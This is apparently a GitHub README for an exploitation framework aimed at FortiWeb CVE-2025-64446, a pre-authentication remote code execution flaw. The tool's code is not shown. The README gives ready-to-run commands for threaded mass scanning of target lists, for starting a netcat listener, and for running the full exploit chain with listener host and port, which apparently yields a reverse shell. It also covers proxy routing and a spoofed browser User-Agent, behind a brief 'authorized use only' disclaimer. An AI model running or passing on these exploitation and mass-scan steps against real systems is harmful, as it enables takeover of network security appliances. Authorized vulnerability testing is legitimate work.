
Security research tool for FortiWeb CVE-2025-64446 vulnerability. Automated exploitation framework with advanced logging, real-time metrics, proxy debugging, and professional reporting. Includes retry logic, multi-threading, and configurable settings. For authorized security testing only. CVSS 9.8 Critical.
Professional security research & vulnerability assessment framework
Installation · Quick Start · Usage · Architecture · CLI Reference · Disclaimer
FortiWeb Research Tool is a Python assessment framework for authorized detection and analysis of CVE-2025-64446, a critical pre-authentication remote code execution issue affecting FortiWeb Web Application Firewall appliances.
| Attribute | Detail |
|---|
| Author | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8 (Critical) |
| Class | Authentication bypass + path traversal → arbitrary file upload → RCE |
| Affected | Builds prior to 7.6.7 / 7.8.7 / 8.0.2 (verify against the official advisory) |
| Remediation | Upgrade to a patched FortiWeb release |
| Language | Python 3.7+ |
| Entry point | exploit.py |
| Mode | Flag(s) | Purpose |
|---|---|---|
| Detection | --detect-only | Non-exploitative vulnerability indicators |
| Safe / read-only | --safe-mode | Skip mutating exploit steps |
| Mass scan | --targets + --scan-mode | Parallel multi-target assessment |
| Exploitation | --target + --lhost | Controlled chain in authorized labs only |
| Dry run | --dry-run | Exercise flow without applying changes |
| Reporting | --output-dir | JSON + HTML engagement reports |
| Field | Value |
|---|---|
| CVE ID | CVE-2025-64446 |
| CVSS Score | 9.8 (Critical) |
| Impact | Full system compromise when successfully exploited |
| Fix | Upgrade to 7.6.7, 7.8.7, 8.0.2, or later |
Always confirm affected/fixed versions against Fortinet PSIRT before engagement scoping.
| Usage | Scan Results |
|---|---|
![]() | ![]() |
| Html Output |
|---|
![]() |
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
| Package | Role |
|---|---|
requests, urllib3 | HTTP client |
rich, colorama, tqdm | Terminal UI & progress |
pyyaml | config.yaml loading |
Optional (dev): pytest, black, flake8, mypy, python-dotenv — see requirements.txt.
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
Note: Exploitation mode requires
--lhost. Use--detect-onlyor--safe-modewhen you do not intend to run the full chain.
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
Detection evaluates reachability, version hints, API exposure, path-traversal indicators, auth-bypass signals, and upload-endpoint accessibility. Risk is classified as Critical / High / Medium / Low from those indicators.
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager runs FortiWebScanner workers via a thread pool, prints a Rich summary table, and writes scan_report.json / scan_report.html.
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
CLI flags override values loaded from YAML.
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| Component | Responsibility |
|---|---|
FortiWebScanner | Reachability, version, CVE indicator checks |
ScannerManager | Parallel scans, JSON/HTML rollups, summary table |
FortiWebExploit | Config-driven session, retries, metrics, reports, optional exploit path |
LogManager | Structured file logging + colored console |
High-level single-target flow:
reports/exploit.log, errors.log, requests.log--threads)--no-verify)reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html
logs/
├── exploit.log
├── errors.log
└── requests.log
{
"metadata": {
"tool_name": "FortiWeb Research Tool",
"version": "1.0",
"author": "Sudeepa Wanigarathna",
"timestamp": "2026-07-31T00:02:17",
"mode": "detect"
},
"target": {
"url": "https://192.168.1.100:8443",
"reachable": true,
"version": "7.6.0",
"vulnerable": true,
"risk_level": "Critical"
},
"metrics": {
"total_requests": 12,
"average_response_time": 0.42,
"success_rate": 0.91
}
}
python3 exploit.py [OPTIONS]
| Option | Description |
|---|---|
--target URL | Single FortiWeb base URL |
--targets FILE | Newline-separated target list |
--lhost IP | Listener host (required for exploitation) |
--lport PORT | Listener port (default: 4444) |
--config FILE | YAML configuration |
--detect-only | Detect only; skip exploit chain |
--scan-mode | Multi-target scan (needs --targets) |
--safe-mode | Read-only; skip mutating steps |
--dry-run | Dry run without applying changes |
--timeout SEC | Request timeout (default: 15) |
--threads N | Scan worker count (default: 5) |
--proxy URL | HTTP proxy |
--user-agent STR | Custom User-Agent |
-v, --verbose | Verbose logging / console |
--no-verify | Disable TLS certificate verification |
--output-dir DIR | Report directory (default: reports) |
--log-dir DIR | Log directory (default: logs) |
-h, --help | Show help |
.
├── exploit.py # Research tool (detect / scan / exploit)
├── config.yaml # Example configuration
├── requirements.txt # Python dependencies
├── reports/ # Generated JSON / HTML reports
├── logs/ # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md
--detect-only / --safe-mode after patching to validate remediation.This tool is only for authorized security testing, research, and education.
By using this software you confirm that you have authorization, will not misuse it, and accept full liability for your actions. The author is not responsible for misuse.
See SECURITY.md for private vulnerability reporting related to this project.
git checkout -b feature/your-changePlease validate changes only in authorized lab environments and avoid committing live target data, cookies, or credentials.
MIT License — see LICENSE.
Copyright (c) 2026 Sudeepa Wanigarathna
| Author | Sudeepa Wanigarathna |
| Issues | GitHub Issues for this repository |
| Security | See SECURITY.md · [email protected] |
Authorized research only · FortiWeb CVE-2025-64446